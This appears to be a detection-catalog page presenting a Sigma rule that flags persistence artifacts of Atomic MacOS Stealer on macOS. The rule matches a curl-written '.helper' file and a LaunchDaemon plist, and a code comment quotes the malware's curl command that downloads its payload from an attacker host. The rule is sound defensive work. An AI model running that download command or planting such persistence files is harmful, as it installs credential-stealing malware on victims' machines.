Atomic MacOS Stealer - Persistence Indicators

Status: experimental
Severity: high
Log source: product macos, category file_event
Author: Jason Phang Vern - Onn, Robbin Ooi Zhen Heng (Gen Digital)
Source: github.com/SigmaHQ/sigma

Detects creation of persistence artifacts placed by Atomic MacOS Stealer in macOS systems. Recent Atomic MacOS Stealer variants have been observed dropping these to maintain persistent access after compromise.

MITRE ATT&CK coverage

Tactic	Techniques
Persistence	`T1543.004` Create or Modify System Process: Launch Daemon
Privilege Escalation	`T1543.004` Create or Modify System Process: Launch Daemon
Stealth	`T1564.001` Hide Artifacts: Hidden Files and Directories

Event coverage

Provider	Event	Title
ESF	create	File or Directory Create (NOTIFY)

Rule body yaml

title: Atomic MacOS Stealer - Persistence Indicators
id: e710a880-1f18-4417-b6a0-b5afdf7e3023
status: experimental
description: |
    Detects creation of persistence artifacts placed by Atomic MacOS Stealer in macOS systems. Recent Atomic MacOS Stealer variants have been observed dropping these to maintain persistent access after compromise.
references:
    - https://moonlock.com/amos-backdoor-persistent-access
    - https://github.com/bobby-tablez/TTP-Threat-Feeds/blob/45398914e631f8372c3a9fbcd339ff65ffff1b17/results/2025/10/20251001-161956-trendmicro-atomic-macos-stealer-(amos).yml#L44
author: Jason Phang Vern - Onn, Robbin Ooi Zhen Heng (Gen Digital)
date: 2025-11-22
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1564.001
    - attack.t1543.004
    - detection.emerging-threats
logsource:
    category: file_event
    product: macos
detection:
    selection_user_helper:
        # sh -c curl -o '/Users/<username>/.helper' hxxps://halesmp[.]com/zxc/app
        Image|endswith: '/curl'
        TargetFilename|startswith: '/Users/'
        TargetFilename|endswith: '.helper'
    selection_launchdaemon:
        TargetFilename: '/Library/LaunchDaemons/com.finder.helper.plist'
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: `condition`

1 of selection_*

Stage 1: `selection_user_helper`

selection_user_helper:
    Image|endswith: '/curl'
    TargetFilename|startswith: '/Users/'
    TargetFilename|endswith: '.helper'

Stage 2: `selection_launchdaemon`

selection_launchdaemon:
    TargetFilename: '/Library/LaunchDaemons/com.finder.helper.plist'

Indicators

Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.

Field	Kind	Values
`Image`	ends_with	`/curl`
`TargetFilename`	ends_with	`.helper`
`TargetFilename`	eq	`/Library/LaunchDaemons/com.finder.helper.plist`
`TargetFilename`	starts_with	`/Users/`

`j` / `k`	Scroll down / up
`d` / `u`	Half-page down / up
`gg` / `G`	Top / bottom
`h` / `l`	History back / forward
`f`	Follow link (`Shift` = new tab)
`/`	Focus search
`?`	Toggle this help
`↑` / `↓`	Navigate search results
`Enter`	Open highlighted result
`Esc`	Close results / dialog

`type:`	`events` / `rules` / `providers`
`vendor:`	`sigma` / `elastic` / `splunk` / `kusto` / `chronicle` (vendor name alone also works: `sigma:`, `kql:`, `secops:`…)
`tactic:`	TA-id, slug, or name: `credential_access`, `TA0006`
`technique:`	technique or sub-technique ID: `T1003`, `T1003.001` (alias `tech:`)
`severity:`	`critical` / `high` / `medium` / `low` / `informational` (alias `sev:`)
`risk_score`	Numeric comparison on the Elastic risk score (0 to 100): `risk_score>50`, `risk_score<=20`, `risk_score=99` (alias `risk`; Elastic rules only)
`stages:`	Rules with exactly N pipeline stages
`correlation:`	`single_event` / `sequence` / `alternatives` / `alternatives_cross_log` / `all_required` / `correlated`
`with:`	Co-occurrence event-id; stacks (`with:4624 with:4769`) to require all, while a comma list in one occurrence (`with:4624,4769`) is an either-or group. Implies multi-event
`like:`	Structural neighbors of a rule slug (equivalents + subsumption stricter / broader): `like:comsvcs_lsass_memory_dump-splunk-sysmon`
`groupby:`	Entity-grouping substring match against `group_by_keys`: `groupby:user`, `groupby:host`
`uses:`	Rules whose predicate tree touches the field (any kind, any value): `uses:CommandLine`
`excludes:`	Rules with top-level `not()` clauses on the field (FP whitelists): `excludes:ParentImage`
`field:` / `value:`	Predicate search; narrows rule cards to those with a matching leaf and drives the indicator tier. Unquoted = substring, wildcards allowed (`value:mimikatz`)
`indicator:`	Shorthand for `field:F value:V`: `indicator:Image=*\powershell.exe`
`kind:`	Filter by predicate kind. Narrows rule cards to those carrying a matching predicate leaf (`vendor:elastic kind:cidr_match`) and drives the indicator tier: `contains` / `starts_with` / `ends_with` / `regex` / `cidr` / `eq` / `in` … (operator aliases `op:`/`match:`)
`has:` / `no:`	`sample`, `field`, `notes`, `refs`, `trace`, `thirdparty`, `rule`, `pattern`, `timewindow`, `threshold`, `newterms`, `sigma`/`elastic`/`splunk`/`kusto`/`chronicle`
`-op:val`	Exclude matches; works on most operators but not `type:`/`like:`/`has:`/`no:` (use `no:<flag>` to exclude a rule flag): `tactic:execution -vendor:splunk`. Standalone `-kind:`/`-field:`/`-value:` drop every rule carrying a matching predicate leaf (`type:rules -kind:is_null`)
`field:"…"` / `value:"…"`	Quoted value = anchored exact match (also allows spaces): `value:"net user"`
`a,b`	Comma = OR inside one operator (`vendor:sigma,elastic`, `severity:high,critical`); repeating a facet merges the same way. `field:`/`value:` never split (literal commas)
`vendors:` / `stage:`	Singular and plural spellings fold to the canonical operator and value: `tactics:` = `tactic:`, `type:event` = `type:events`, `correlation:sequences` = `correlation:sequence`, `has:thresholds` = `has:threshold`
`"quoted phrase"`	Exact-match a multi-word phrase (free text)

Atomic MacOS Stealer - Persistence Indicators

MITRE ATT&CK coverage

Event coverage

Rule body yaml

Stages and Predicates

Stage 0: `condition`

Stage 1: `selection_user_helper`

Stage 2: `selection_launchdaemon`

Indicators

Keyboard shortcuts

Search operators

Atomic MacOS Stealer - Persistence Indicators

MITRE ATT&CK coverage

Event coverage

Rule body yaml

Stages and Predicates

Stage 0: condition

Stage 1: selection_user_helper

Stage 2: selection_launchdaemon

Indicators

Stage 0: `condition`

Stage 1: `selection_user_helper`

Stage 2: `selection_launchdaemon`